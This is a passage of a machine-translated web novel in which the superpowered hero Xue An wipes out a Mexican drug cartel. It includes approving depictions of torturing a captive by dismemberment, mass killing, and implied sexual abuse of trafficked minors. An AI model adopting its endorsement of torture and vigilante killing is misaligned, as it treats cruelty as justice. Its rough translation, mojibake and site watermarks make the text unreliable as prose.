    The man took out the brand new hundred-dollar bill, his face was greedy, "Since he can spend so much money to buy some rotten fruits, he naturally has to bear some punishment!"


    Xue An didn''t raise his head either, but asked indifferently, "Punishment? What punishment?"


    The man in the triangle stretched out a finger and said greedily: "Ten thousand dollars, I will let you go! Of course, if you can''t come up with that much cash now..."


    The man with triangle eyes pointed to Yuna, "Leave this girl to me, and I will pay you back tomorrow! I can save half of your fine!" First issue https://https://


    Hearing these words, An Yan and others looked cold.


    David looked bitter, and his most worried thing happened.


    Although he was afraid in his heart, he still mustered the courage to step forward for the artistic genius he valued.


    "This brother, I think this matter needs to be discussed, ten thousand dollars is too expensive, and this girl is already going to M country to study art, you still..."


    "Go!" Seeing David come to entangle him again, the man with triangle eyes couldn''t help being furious. He picked up the handle of the gun and threw it down.


    This is still because David is from the country M, otherwise he would probably shoot directly.


    David hadn''t reacted yet, when he saw that he was about to be hit.


    A silver light flashed, passing directly through the palm of the man with triangle eyes.


    "Ah ah ah ah ah!"


    The triangular-eyed man screamed loudly, clutching his nailed hand, his painful face was covered with sweat.


    Xue An rushed to Yuna behind him in time and said: "You go to play with Isabella in the distance with your miss!"


    Yuna shuddered, knowing what Xue An meant, and quickly led a few little girls and turned around.


    "Kill this man and take all the women away!" The triangular eyes roared at this time.


    His men raised a gun and shot.


    The sound of gunshots scared David to the ground, clutching his head and lamenting in his heart.


    over!


    This Chinese man must be dying! God bless, I hope that little girl is fine!


    But the gunfire only sounded a few times, and then it stopped.


    David couldn''t help being a little surprised, what''s the matter?


    Don''t these thugs have to light up all the bullets in their guns before stopping?


    Why did you stop so quickly this time?


    He raised his head cautiously.


    Then I saw the deserted beach, and Xue An and An Yan sitting on the beach chairs safe and sound.


    "What...what''s going on?"


    It was clear that a group of thugs shot and killed people here just now.


    Why are people gone in a moment?


    There are question marks in David''s head.


    Xue An stood up and walked to the little boy lying on the ground still in a coma.


    He crouched down and took a look, then he sighed slightly, and when he stretched out his hand, an imperceptible brilliance penetrated into the boy''s forehead.


    After a while, the little boy opened his eyes.


    At the beginning, his face was still blank, then he trembled all over, and quickly covered his head.


    "Mr. Hash, stop hitting me, I know I was wrong! But I just want to sell some fruits and earn money to buy shoes to wear!"


    His shout was full of horror.


    Xue An frowned slightly and chuckled softly: "Well, your Mr. Hash will not hit you again!"


    Hearing something wrong, the little boy slowly let go of his hand covering his head and looked at Xue An blankly.


    At this time, An Yan also came over, looking at the little boy distressedly.


    The little boy just remembered, isn��t this the kind sister who just bought herself a hundred dollars for fruit?


    He suddenly yelled in worry, "Mr and Madam, you leave here quickly, Hash will definitely bring someone to your troubles!"


    Xue An smiled slightly, shook his head and said, "I just said that Mr. Hash, whom you said in your mouth, will never hit you again!"


    "Why?" The little boy was confused and blank, not understanding what Xue An meant.


    "Because he has gone a long way, he may never come back!"


    Hearing these words from Xue An, David was shocked and looked at Xue An in disbelief.


    If according to Xue An, the group of people just now have died?


    But how is this possible?


    In just a few seconds, a group of large living people disappeared without seeing people or dead bodies?


    The little boy believed Xue An��s words A look of joy appeared on his face.


    "That''s great, Hash is too bad! Not only did he monopolize the fruit market on the surrounding farms, he even occupied the beach! All the people who came here to sell fruit had to pay ten dollars! That was nothing short of it. Robbing money!"


    An Yan handed the little boy a bottle of Coke at this time.


    The little boy took it hesitantly, "Madam, this..."


    "Drink! See you are thirsty too!" An Yan said with a smile.


    After hearing this, the little boy could not wait to unscrew the cap of the bottle. He took a few sips, but didn''t finish it, but cautiously left half of the bottle.


    "Madam, can I take this home?"


    "Why do you want to take it back?" An Yan was a little surprised.


    "Because my sister has never drank it before br/>


    An Yan was silent for a moment, and then nodded, "Of course!"


    "Thank you Madam!" The little boy was extremely happy.


    Xue An shook his head slightly, and suddenly said: "We will go home with you for a while!"


    "Really sir?" The little boy said in surprise.


    Xue An nodded.


    "Yeah, thank you sir!" The little boy thought Xue An was going to be a guest at home, his face was full of excitement.


    At this time, David came over hesitantly, and while there was no one around, he whispered: "Mr., I advise you to leave this country as soon as possible!"

 Chapter 426： Tragic brother and sister

    "Why?" Xue An said lightly while eating the avocado that An Yan had prepared for him.


    "Because you just offended Brother M''s local gang. These people have their own armed forces and act so arrogantly that they don''t even look at Ms. Brother''s home! If they find out, you can Crap!"


    "What did you find me?" Xue An said lightly.


    "The disappearance of those people..."


    Xue An smiled faintly, "If I said that a tornado just suddenly blew up the group of guys and threw them into the sea, would you believe it?" New 81 Chinese network updated the fastest mobile terminal: https:/


    David gradually widened his eyes, then shook his head, "Although I hope it is true, it is absolutely impossible!"


    Xue An spread his hands, "But those people did disappear, and there is no evidence. What does it have to do with me?"


    After that, Xue An called Yuna and others back, and then said to the cheerful little boy: "Go, I''ll send you back!"


    Wait for Xue An and others to leave.


    David was still standing on the spot, his face blank.


    He still didn��t want to understand why those thugs just disappeared strangely?


    If you were killed, then there must be corpses and blood?


    But the scene was empty. Even the sand on the beach was still as white as jade, and there was no sign at all.


    David was puzzled, but he knew it well.


    For those thugs who killed the red eye, the evidence does not have much meaning at all.


    As long as they believe that you did it, then you will suffer.


    Thinking of this, David took out his cell phone, and he hesitated before dialing a call.


    After a while, the phone was connected, and then a woman''s cold voice came.


    "David, I''m surprised, you haven''t died yet?"


    David smiled bitterly, "Nikita, why do you expect me to die when you meet?"


    "Because no woman will be in a good mood for a man who has always been chaotic and abandoned!" Nikita said coldly on the phone.


    "Nikita, to be honest, I am sorry for the previous relationship, but I am an artist, and my relationship is to serve art. When there is no passion..."


    Nikita raised his wrist and looked at the special watch, and said lightly: "If you are going to continue talking nonsense, then I''ll hang up!"


    "No! I really have something to ask you this time!"


    "What''s the matter that a famous artist should ask a small FBI agent?" Nikita said with a sneer.


    David told the story with a wry smile, and finally emphasized Yuna''s artistic talent.


    "Trust me Nikita! That girl''s art is the most perfect I have ever seen. With a little adjustment, she will shock the whole world!"


    Although I did not see it, Nikita can imagine that David must be dancing at the moment.


    "Do you mean to call your ex-girlfriend to save a little girl you admire?" Nikita said coldly.


    David was stunned for a moment, and then said: "Nikita, I was wrong before, but this time I hope you can help me, and as soon as possible, because I just heard the little boy talk about that group The name of the thug is Hash!"


    "Hash?" Nikita''s expression became serious after hearing the name, "Those Chinese people are in big trouble!"


    "The backstage boss of this hash is Gonzalez, the big drug lord who dominates most of the M xi Ge D product market."


    David''s face also turned pale, "What should I do?"


    Nikitalo hesitated for a while, and then said: "You wait for me on the beach, and I will pass now. The top priority now is to let these people leave M West! Whether you go to M country or return to China , But I just can��t stay with Brother M!"


    "Okay! I''ll wait for you, and...thank you Nikita!" David said sincerely.


    Nikita didn''t bother to pay attention to the man''s thanks, hung up the phone, and drove straight to the beach.


    Her heart is very heavy, because she knows the power of Gonzales better than anyone.


    That is a fierce figure that even the previous president dared to assassinate!


    When it was on the beach, it was dark and the temperature on the beach dropped sharply.


    David stood shivering in the sea breeze. After seeing Nikita''s car, he rushed up and said with a smile: "Nikita, you are so much more beautiful!"


    "Stop talking nonsense, since that little boy sells fruit here, he should live near here, I''ll go find them now!"


    Speaking, Nikita drove away.


    just as she expected.


    The little boy��s house is not far from the beach.


    is different from the beautiful buildings and scenery on the beach.


    Here are low houses and dirty roads.


    Along the way, countless villagers stood on the side of the road curiously watching Xue An and others.


    The little boy kept introducing excitedly.


    Waiting to come to the little boy''s house.


    This is located in a deserted place by the village, and the house is crumbling, as if it is about to collapse. New 81 Chinese network update the fastest computer terminal: https://


    The little boy stood by the gate and shouted, "Salo, Ina, come out!"


    As he shouted, two little girls, a big and a little girl, walked out of the room in surprise.


    The older one is only five or six years old, and the young one is only three or four years old. They are very shabby, and when they see Xue An and others, their expressions become a little weak.


    The little boy raised the bottle in his hand and said grinningly: "Look, what is this?"


    "Coke!" The eyes of the two little girls came out and ran over.


    "Salo drink first! Give the rest to Ina!" the little boy assigned.


    Salo is the older girl. She glanced at the Coke bottle with greedy eyes, then shook her head, "Give it to Ina, she hasn''t drank it yet!"


    , she handed the Coke bottle to Ina. After receiving it, the three or four-year-old girl eagerly opened the cap and drank in a few mouthfuls.


    "Does it taste good?" the little boy asked with a grin.


    "Delicious!" Ina said, licking her lips.


    At this time, Salo noticed that his brother''s clothes were all torn, and it looked like they were torn, and he was taken aback.


    "Brother, you...were beaten again?"


    The little boy waved his hand nonchalantly, "It''s okay, I''m used to it! And this time I would like to thank this gentleman and madam so much! Otherwise I might still be lying on the beach!"


    Salo heard tears in his eyes, and then took a few steps forward and said with great respect: "Thank you! Thank you for saving my brother!"


    Xue An saw everything just now, especially when he saw the boy''s shoes on Salo''s feet, he couldn''t help sighing slightly.


    And An Yan looked at her eyes red, and hurriedly took out all the coke.


    "Come on, everyone has it!"


    Seeing the bottle of Coke exuding alluring light, the eyes of the three brothers and sisters gradually brightened.


    At this moment, a Msi brother and his wife walked into the courtyard from outside.

 Chapter 427： Wait for someone to come

    The freshly picked fruits were washed and put on the table.


    Also placed together were the enchiladas with Xige''s characteristics and several local dishes.


    This is probably the best thing the little boy Herrera''s family can bring out.


    Herrera''s parents, that is, the brothers and sisters, are now looking at Xue An and others with earnest and awe.


    Herrera had already told them secretly that this gentleman and wife gave him one hundred dollars and bought all his avocados.


    One hundred dollars is already a lot of wealth for this impoverished Xige family.


    Therefore, the two naturally expressed their enthusiasm.


    But Xue An''s attention was not on these. He looked at his daughter who was playing with Saloina not far away, and a faint smile appeared on the corner of his mouth.


    Children''s hearts are always pure, and they never differentiate between rich and poor.


    "Sir, your daughter is so cute!" Herrera''s father, the honest farmer who lived by planting fruit trees all his life, finally thought of such a compliment after holding back for a long time.


    Xue An smiled slightly, "Thank you!"


    Then there was another silence.


    Herrera''s parents have no culture, but they can still tell that Xue An and An Yan are not ordinary people.


    The aura on them alone is enough to prove this.


    That kind of indifferent and noble aura made the couple a little in awe, and there were also many worries between words.


    But children never care about these.


    Salo and Ina may never have been as happy as they are today, running like crazy in the yard.


    But the shoes that Salo wore were very unfit, and he always threw it out when running.


    Xue wanted to see it, and simply took off the shoes he was wearing, "Here, I''ll give it to you!"


    Salo was stunned.


    Although Salo is a bit older than Xue wants, but because the nutrition can''t keep up, he is not tall, basically the same as Xue wants.


    The shoes Xue Xiang wore were custom-made for him, and the style and workmanship were extremely beautiful.


    Salo hadn''t even dreamed of such beautiful shoes.


    She hesitated a little, "This..."


    "Oh, put it on!" Xue Xiang tucked his shoes carelessly.


    For children, after becoming friends, good things are naturally to be shared!


    "What about you?" Salo asked.


    "Actually I hate wearing shoes!" Xue Xiang said.


    When in the fairyland, she and Nian Nian barely wore shoes, playing barefoot in the jungle all day long.


    Now I bare my feet again, naturally full of joy.


    Xue Nian and Isabella saw them from the side, and both took off their shoes and socks neatly.


    At this time, the little girls started to play wildly like Sahuan.


    Soon, he was covered with dust, and his face became a small cat.


    An Yan looked a little helpless, "husband, look at you, you are all playing fools!"


    Xue An smiled slightly, "Isn''t it just for fun at this age?"


    "But at any rate it has to be a little ladylike!" An Yan said.


    "Hehe, I actually think that happiness is the most important thing for children!"


    "You, slowly spoil them both!"


    "My daughter, of course I want to pet!" Xue An said with a smile.


    "Hey, I never said you! Then when shall we leave?" An Yan was very awkward here.


    Because Herrera��s parents�� respectfulness made her feel like sitting on pins and needles.


    Xue An smiled, "Wait a moment, there should be someone coming! They will go after solving them!"


    An Yan was stunned, "Husband, you mean the accomplices of those guys on the beach?"


    Xue An nodded, "Although the group of thugs are dead, they are all local snakes, so their accomplices will definitely investigate this matter. If we don''t care, then this family will definitely suffer!"


    This is also the reason why Xue An came back with little Herrera.


    As he was talking, the roar of a car suddenly came from outside.


    Because it was already evening, I could still see the dazzling light through the shabby courtyard wall.


    Then I heard a group of people speaking Xige dialect and getting out of the car cursingly.


    Xue An said lightly: "Did you see it, here it is!"


    Then smiled at An Yan, "Yan''er, take a few little girls to play elsewhere!"


    An Yan nodded.


    Moya is in a good mood today.


    Because the guy Hash is missing.


    In this country, once a gang member disappears, it is basically dead.


    Although the boss Gonzalez was very angry about this and asked Moya to clarify the matter, Moya felt that this was an opportunity for him.


    As long as this matter is handled properly, Hash''s territory is all its own.


    Thinking of this, he couldn''t help feeling triumphant.


    Finding out this kind of thing is simply too easy for them like local snakes.


    Soon, Moya had all mastered everything that happened on the beach.


    Foreign tourists, there is also a poor fruit dealer.


    These are the two parties involved in this matter.


    Seeing this result, Moya couldn''t help laughing.


    I thought it would be done by people from the hostile gang, and in that case, I would have to fill it with the lives of my own men.


    But I didn''t expect it to be such a result.


    This is simply a godsend.


    So Moya quickly brought his hands down to Herrera''s house.


    Looking at the simple courtyard wall, Moya grinned and kicked on the courtyard gate.


    The courtyard gate collapsed suddenly, shocking a large amount of smoke.


    "Rush in and kill one. I will reward you with five hundred dollars!" Moya said with a grin.


    That''s right.


    In this magical land, the price of a life is only five hundred dollars.


    Moya''s men suddenly promised, and then all rushed in.


    Moya lit a cigarette outside, and then spit out a smoke ring comfortably, waiting for the gunshot to sound.


    But no.


    There is no sound.


    My own subordinates seem to have disappeared since they scored.


    Mo Yagang was taken aback, a wisp of sword light swept across directly, cutting off the cigarette in his hand.


    It was cut off together and his arm with the gun.


    The blood and pain made this guy who once thought he was fearless screamed.


    There was infinite panic in his eyes.


    At this moment, the courtyard walls all fell to the ground, and Moya was horrified to find out.


    All of his subordinates were dead, and the blood and corpses formed a scalp-numbing scene.


    Moya trembled all over, and saw a man walking above the bones, and then smiled at him slightly.


    "After waiting for a long time, you are finally here!"


    The face of China.


    Moya was shocked.


    Could this be the man on the beach?


    At this time, Xue An said calmly: "Do you know why I didn''t kill you?"

 Chapter 428： Hell is empty, the devil is on earth

    Moya trembled all over, because of the severe pain, but also because of fear.


    "No... I don''t know!"


    "Now I ask you to answer, if the answer is wrong, then some part of your body will say goodbye to you, understand?" Xue An said lightly.


    Moya shivered and nodded.


    A ray of sword light passed by, cutting off one of his ears.


    Moya screamed.


    "The answer is wrong, because you can only answer yes or no!"


    Moya shuddered more severely, his face was pale, and the look in Xue An''s eyes was also full of fear.


    He once thought he was ruthless enough, and his boss Gonzalez was even more ruthless.


    But compared with this man, he is as clever as a baby.


    Xue An smiled, "You come here, do you plan to kill all of this family, and then take it back to show off as the trophy?"


    "No...no!"


    Xue An shook his head, "This is really not a good start!"


    With that, a ray of sword light swept across, directly cutting off one of Moya''s legs.


    Moya fell to the ground amid the screams.


    Herrera''s family in the room was all trembling now.


    They saw everything that just happened.


    Those thugs who suddenly appeared let Herrera''s parents understand something.


    If Xue An was not here today, then it would be their family of five who lay tragically on the ground!


    But they didn''t expect that Xue An, who looked gentle and elegant, would be so fierce in his shot.


    Herrera''s father only saw countless white lights flashing after the group of thugs rushed into the courtyard, and then the thugs did not even scream, they all became corpses.


    And now a scream from outside the courtyard made his calf straighten.


    This Chinese man... who is it? Why is it so powerful?


    Moya also had the same idea.


    He has now lost an arm, a leg and an ear.


    This made his original brave image a bit funny, and his face that had been filled with cruel smiles also showed infinite horror.


    "What are you...what are you going to do? My boss is Gonzalez! You...you..." Moya tremblingly said, and at the same time pedaled as hard as he could with only one leg, trying to get away from the slowly coming. Xue Anyuan a little bit.


    Xue An''s expression was indifferent, but the coldness in his eyes gradually rose.


    His murderous intention has existed since he was on the beach.


    Because when he burned the thugs of Hashi into nothingness with God Flame, he also saw their souls.


    In the memory of these souls, Xue An saw a lot of things that even the Demon God of Hell could not possibly do.


    This reminded him of a sentence.


    The **** is empty and the devil is on earth.


    The group of Moya who just died were also a group of raccoon dogs.


    In the memories of Moya''s dead men, there are many outrageous pictures of Moya.


    This man who has always claimed to be the devil made Xue An murderous.


    "Don''t worry, your boss can''t run! As for what am I going to do?" Xue An sighed.


    "Although I also know that even if you kill all of you guys, there will soon be darker and more **** to replace them, but it is always good to kill, at least...to let many beasts know awe!"


    "No... don''t! Help!" Moya yelled in horror, perhaps because he realized that he was dead soon.


    At the same time, a large-displacement American off-road vehicle roared and rushed over.


    Before the car stopped, Nikita and David jumped off.


    "Stop!" Nikita took out his pistol and pointed at Xue An, shouting in a deep voice.


    Moya was as if he saw the life-saving straw, sobbing, he crawled to Nikita, and shouted as he crawled: "Help me, this man is a devil! He killed all of my people. Up!"


    Nikita also saw the corpses on the ground in the courtyard at this moment. Even if she was used to seeing death, this scene still made her feel her scalp numb.


    As for David, when he saw this scene, he knelt to the side and vomited wildly. It looked like he was about to vomit all his gall.


    Xue An looked at Nikita and David playfully, a smile appeared at the corner of his mouth, and then stepped forward!


    "I am an intelligence officer of the fbi special stationed in Xige. I now order you to stay still, put your hands on the back of your head, and then squat down! Otherwise, I will shoot!" Nikita shouted hoarsely, inwardly But full of panic.


    The man''s eyes just looked at her, making Nikita who had seen many big scenes startled in a cold sweat.


    What kind of look is that!


    No sorrow or joy, high above.


    It is as if he is an emperor who is in charge of life and death, who is judging the sins of the world.


    Xue An actually stopped when he heard the words, and then smiled faintly, "fbi? Chinese?"


    Nikita nodded, "Yes! These people..."


    Xue An nodded, "I killed it!"


    At this time, Moya had climbed up to Nikita and shouted on the verge of collapse: "Please help me, this man is a devil, he is not a human!"


    Nikita''s complexion became more solemn, because she recognized this person!


    It''s Moya!


    Moya, known as the ghoul, the capable man of the big drug lord Gonzalez, was scared to collapse by this man.


    Xue An hugged his shoulders and watched this scene in time, "Since you are a member of FBI, you should know how much blood is on these people''s hands! And they are here this time to destroy this. A poor family!"


    Nikita believes what Xue An said is true.


    It is not surprising that Moya and these people have done anything maddening.


    But she still said in a deep voice, "Even if they are all bad guys, they have to be handed over to the law for arbitration, not by you!"


    The latter one is to kill and stop killing, is spoken in Chinese.


    Xue An smiled slightly, "You speak Chinese quite well! But what I want to tell you is, if I were not here today, then this innocent family of five will die now, and the murderer will never receive what you say. The so-called arbitration!"


    Nikita was silent because she knew what Xue An said was true.


    "Although killing to stop killing is not the best solution, it must be the most effective! Some beasts are only in awe when they know that there is still retribution in this world!"


    "Retribution?" Nikita frowned. She understood the meaning of this Chinese term, "I don''t believe in retribution, I only believe in the law!"


    Xue An smiled, "Retribution may not really exist before, but now it exists, because...I am their retribution!"


    As he was talking, Moya, who had been crying for help, suddenly jumped up with one leg, trying to hold Nikita and **** her gun.


    Nikita was shocked, never expected that Moya, who had been crippled, would do it.


    With a stunned effort, Moya with a grim face had already rushed to the front.


    But the next second, his head exploded in front of Nikita.

 Chapter 429： Unprovoked existence

    The blood and brain plasma were mixed together, falling down.


    David, who had already vomited almost, couldn''t help opening his mouth after seeing this scene, and began to vomit again.


    Nikita watched this scene stupidly. After a while, she trembled and exclaimed: "You killed all these people! But have you thought about the consequences? Although you are here, they I will be afraid to come here because I am afraid, but waiting for you to go, waiting here will be ten times more tragic revenge!"


    Xue An shook his head, "There will be no revenge!"


    "How could it be..." Halfway through, Nikita slowly widened his eyes and looked at Xue An in disbelief.


    Xue An nodded with a smile, "You are a very smart person!"


    Nikita could not contain the panic in her heart, and began to tremble, because she had guessed Xue An''s plan.


    But how is that possible?


    The other party is the big drug lord who controls more than half of Brother Xi!


    "Since you are a member of fbi, you should know me! My last name is Xue!"


    Xue An''s words were like a bolt from the blue, making Nikita almost unsteady, and at the same time looked at Xue An in horror.


    really!


    It really is him!


    Only this man can act so domineering!


    The point is... he still has domineering capital.


    "It''s getting late! Just take advantage of it now!" Xue An said, turning his head and shouting at An Yan in the distance: "Yan''er, wait for me for a while, I will go back!"


    After all, Xue An rose into the sky, turned into a stream of light, and disappeared into the sky.


    Nikita stared blankly, and it took a long time before she woke up from David''s shout.


    At this moment, David had already vomited all the bitterness, his face turned blue, and asked weakly: "Nikita, who is the man like the devil just now?"


    Nikita smiled bitterly when he heard the words, "Devil? There are countless demon gods who died in his hands!"


    "What?" David''s eyes rounded, and he was stunned.


    Nikita looked at the corpses all over the floor, gritted her teeth, then took out her cell phone and dialed a number.


    "Hey! Dear Nikita, why do you think of calling me at this time? Don''t tell me what bad things the thugs of Brother Xi are going to do! I still want to spend a leisurely weekend night! "


    Longfellow, the fbi intelligence chief on the other end of the phone, said with a smile.


    Nikita smiled bitterly when he heard the words, "Mr. Longfellow, maybe your weekend night vacation plan is going to be ruined! Because someone just killed Gonzalez''s men!"


    "Oh? Who is it? Gonzalez''s rival gang?" Longfellow was still very relaxed.


    As the closest country to the country, fbi monitors everything that happens in Xige.


    As the biggest drug lord, Gonzalez is naturally the focus of surveillance.


    Now that his men are killed, that is naturally a major event.


    But Longfellow didn''t care too much, but took the coffee leisurely, ready to enjoy the fragrant taste.


    But the next moment, all his leisure and contentment disappeared, and all the coffee he just drank was sprayed out.


    Because Nikita said something to him.


    "It was Xue An who killed, and now he has gone to Gonzalez!"


    "God, I want to unscrew the heads of the guys who are monitoring Xue An. They just sent me a message saying that Xue An is on his honeymoon in Europe! These **** bugs!" Longfellow simply Furious.


    Because of the Bright Church.


    Xue An has become the most feared and guarded existence in all countries in the world.


    His every move has naturally become the focus of the most attention of all intelligence agencies.


    China is certainly no exception.


    Longfellow has given the death order, that is, everything about Xue An is the top priority!


    Any new discoveries must be reported immediately!


    But now if it weren''t for Nikita''s report, the entire fbi, or even the entire country would still not know about this!


    "Nikita, you have done a great job, and I will report it to my boss! Hang up first!" Longfellow hung up the phone hastily.


    Report this matter immediately.


    Soon, the entire country''s senior officials were shocked.


    The president of the country called a meeting urgently.


    The focus of the discussion at the meeting was whether Xue An��s move would cause turmoil in Xi Ge and harm the country��s interests.


    The conclusion came out very quickly.


    Although Gonzalez is not good enough, after all, he has cooperated for so long. If he is killed, it will inevitably cause turmoil in Xi Ge.


    And if you change someone, Gonzalez might not be so obedient.


    So soon, a call was made directly to Gonzalez''s cell phone.


    Gonzalez is now swimming in his magnificent villa with pride.


    When the phone rang, his pretty blond secretary came over.


    "Sir, call!"


    Gonzalez frowned. "Who will call this weekend night?"


    The secretary whispered a word, "Country!"


    Hearing this sentence, Gonzalez was taken aback, and then quickly picked up.


    When I was just connected, I heard Longfellow roaring on the other side of the phone: "Gonzalez, you bastard!"


    The loud voice can be heard by the maid and bodyguard next to him.


    Gonzalez''s face was a little embarrassed, but his heart was a little sullen.


    He is in collusion with the country, but it does not mean that he is a dog who can let these people insult.


    "Mr. Longfellow, what made you so angry this weekend night?" Gonzalez took the cigar handed to him, and said slowly after taking a sip.


    Longfellow yelled angrily, "Gonzalez, I don''t have time to talk nonsense with you, I can only tell you, now I must try my best to hide, the more hidden the better, hurry!"


    Gonzalez was stunned, "Mr. Longfellow, what''s the matter?"


    "What''s wrong? You **** bastard, you have offended someone who can''t offend at all! Now this person is ready to kill you, UU reading understand?" Longfellow roared.


    Gonzalez heard this but couldn''t help but feel a little disapproving, "Mr. Longfellow, thank you very much for informing me, but in Brother West, no one can threaten me, and no one can''t offend me!"


    Longfellow never dreamed that this Gonzalez would be so stubborn!


    He tried his best to suppress the anger in his heart, and calmly said: "Gonzalez, I know that your strength is not even worse than that of Xige, but this person is different! The abilities he possesses are simply incomprehensible in the world! Don''t even talk about you, even the country dare not provoke him! Understand?"


    Gonzales was slightly stunned after hearing this, but then he laughed, "Mr. Longfellow, it seems that you still have a misunderstanding of my strength, I am not just talking about how many guns I have!"


    With that said, Gonzalez proudly sat on the sofa not far away, wearing a golden mask, dressed like an ancient Maya and nodded.


    "On mystical power, who can be more powerful than the Mayan priest who could communicate with the gods in the ancient times?" Gonzalez said confidently.

 Chapter 430： Kill at every step

    As the birthplace of ancient Mayan culture, Xi Ge, many people believe that this lost civilization is very mysterious and powerful.


    Gonzalez believes in this even more.


    Because he not only considered himself a descendant of Maya, but also had personally seen the power of the Mayan priest.


    Longfellow wanted to strangle the arrogant Gonzales directly over the phone.


    "Listen to me, this person is not the same at all. No matter how powerful you are, you won''t be his opponent, listen to me, hurry up and find a place to hide!" Longfellow said bitterly.


    Gonzalez became impatient, "Mr. Longfellow, the descendants of the Mayans are not afraid of anyone! Please stop talking!"


    After that, Gonzalez hung up the phone.


    Longfellow was so angry that he heard the blind tone after the phone was hung up.


    "This **** bastard! Go to hell!"


    But Gonzalez here has a calm expression, "Is Moya contacted?"


    "No!" The butler shook his head.


    "That should be something that happened over there! Keep the notice, there may be some dumb guys coming over to find something tonight, and let people be prepared!"


    "Yes!" The steward with him turned and went out to inform.


    As an extravagant and desperate drug lord, Gonzalez��s villa is huge in size and heavily guarded.


    There are not only round-the-clock patrols, but also various high-tech security methods.


    There is even a small radar and air defense missile installed on the top of the villa.


    Gonzalez felt that even a small army could not break this strong fortress.


    So he has no concerns about safety.


    In his opinion, even if someone came, it would be death!


    "Sir, are you satisfied with these few?" A fierce-looking woman walked over with a few girls who were only fourteen or five years old with a frightened face.


    Gonzalez squinted his eyes and looked at one of them. "It''s her! By the way, throw the little lady in the bedroom into the crocodile pool, and my crocodiles should be opened!"


    "Yes!"


    Someone dragged the scared girl away.


    After a while, several men came out carrying a wounded girl, and then went straight to the crocodile pond.


    When they arrived at the crocodile pool, these men smiled and touched the girl. One of them shook his head and said, "I''m so beautiful, but it''s a pity that I have been crippled by playing with it! Otherwise, we can feed the crocodile if we use it. !"


    "Stop talking, if the boss hears you, you have to be fed the crocodile too!" Another subordinate said quickly.


    "Yeah! Throw it in!"


    Several of his men shook their hands together, and they were about to throw the girl into the crocodile pool.


    But at this moment, a white light passed by.


    These men suddenly felt lightened all over, as if something was missing.


    When I looked down, I discovered that the girl had fallen to the ground, and the arms of each of them fell to the ground together.


    Several people were stunned, and then they were about to scream.


    But it was their heads that rose to the sky immediately.


    Then the corpses fell into the crocodile pond one after another.


    But the usual arrogant crocodiles are all crawling under the water at this moment, and they dare not even move.


    Because as fierce beasts, they can feel the power of that momentum better than humans.


    But then, the group of crocodiles also began to explode one by one at the bottom of the water.


    The blood instantly stained the entire pool of blood red.


    Xue An appeared in the field, looked down at the girl who had been tortured to death, and a trace of anger flashed in his eyes.


    well!


    It seems that some people really don''t deserve to live in this world!


    "Who!" someone could not help asking when they saw Xue An standing by the crocodile pond.


    Xue An looked up.


    This is a team of heavily armed bodyguards.


    now.


    The group of people aimed their guns at him, saw him look up, and pulled the trigger without hesitation.


    A heavy rain of bullets hit Xue An.


    Xue An slowly raised his foot and took a step.


    With one step, the world shook.


    And those bullets were all stagnated in the air in an instant, suddenly turned into powder, and dispersed with the wind.


    These bodyguards were still stunned, and then their heads exploded like fireworks.


    This weird and **** scene shocked everyone who came afterwards.


    Many people even peeed their pants on the spot.


    "Shoot, shoot!" someone shouted.


    The endless bullets came again, and this time it was mixed with several anti-tank missiles.


    In the face of all this, Xue An was not sad or happy, carrying his hands on his back, and took another step.


    boom!


    With Xue An as the center, everything was exploded within a few hundred meters.


    Bullets, missiles, and fragile human heads are all exploded into powder.


    At the same time, Gonzalez, who was preparing to enjoy the fish and water in the bedroom, was shocked, and he felt a powerful murderous intent.


    In the bedroom, the Mayan priest who personally protected him, the golden mask on his face also released light.


    "What''s the matter?" Gonzalez asked in surprise, and then felt that the whole villa was shaking.


    At the same time, I saw the walls of the built solid villa melt slowly like candles.


    The cold wind outside came in, making Gonzalez''s face full of horror.


    Because under the moonlight, there is a man who is walking step by step.


    Every step he took, countless bodyguards who tried to stop him died.


    The blood exploded one after another, like fireworks blooming, beautiful and cruel.


    The scene of this slaughter made the extremely brutal Gonzalez stunned.


    The Mayan priest couldn''t help but his tone became serious.


    "So powerful!"


    Gonzalez trembled all over, and quickly said, "Priest, protect me!"


    The Mayan priest said coldly: "Don''t worry, I will guard ~ www.novelhall.com~ no one dares to treat you!"


    Gonzalez was determined.


    He has strong confidence in himself as a personal priest.


    At this moment, all the guards and bodyguards of the entire villa have all died.


    The heavy blood hung in the air, disgusting.


    And Xue An had also walked to the front of the villa, then raised his head, looked at the priest wearing the golden mask and Gonzalez who was hiding behind him, and said lightly.


    "God priest?"


    The Mayan priest was stunned for a moment, and then sneered: "You still know the priest of the gods and demons?"


    With that said, the Mayan priest was covered in golden light, and his body suddenly became many times larger, becoming a man of more than seven or eight meters tall, with golden light shining all over his body, and a face like a **** or devil!


    "Boy, your eyesight and strength are good, but it''s a pity that you shouldn''t provoke the Mayans in this land!"

 Chapter 431： Those who are arrogant have learned to be humble

    The Mayan priest slammed a punch, and the fist was so strong that although it hadn''t hit it, a deep hole suddenly appeared on the ground.


    Xue An stood in it, stood with his hand in his hand, looked up at the punch, and said lightly: "Even if your disappeared **** returns, I am not afraid, let alone you!"


    After saying this, Xue An suddenly raised his eyes and stomped his foot. The whole person went into the air and flew directly in front of the Mayan priest, then raised his hand to slap.


    Snapped!


    This palm directly slammed the tall priest away from the ground, and turned several times in mid-air before falling.


    When it hit the ground.


    The golden light on his body shattered with a click.


    What shattered together was the golden mask he was wearing.


    Under the mask, it was a hideous image of a demon god.


    This demon **** didn''t even hesitate, turned into a black smoke and rushed straight into the sky.


    Xue An waved his hand, and a sword light flew out, and after a short while, he chased up.


    "No!" After a shout full of horror and fear.


    Jianmang directly strangled the demon god.


    After doing all this, Xue An turned to look at Gonzalez, who was trembling and pale.


    As far as I can see, I haven''t spoken yet.


    Gonzalez had already thumped and knelt on the ground, "My lord is forgiving, my lord is forgiving! I am willing to dedicate all my wealth to you, as long as you spare my life!"


    With that, Gonzalez kowtows like garlic.


    Xue An looked at this scene lightly, and a cold smile slowly rose from the corner of his mouth.


    "I actually don''t like killing!" Xue An said suddenly.


    "But sometimes I like it again because it''s fair!"


    "In front of it, the once arrogant learned to be humble. The arrogant learned how to constrain. The evil wanted to turn back. In short, regardless of whether it was rich or poor, they became equal again in front of it."


    These words of Xue An made Gonzalez sweat all over and wanted to ask for mercy, but found that his tongue seemed to be knotted, and he couldn''t speak at all.


    "I was very strange before!" Xue An looked at the girl who was shivering on the bed in the bedroom, and said lightly: "Why the more cruel and violent people are, the more afraid they will be when they die!"


    "Now I want to understand, because you understand the value of life better than anyone else, but you are willing to deprive others of their lives! Right?"


    Gonzalez was already limp and sweaty.


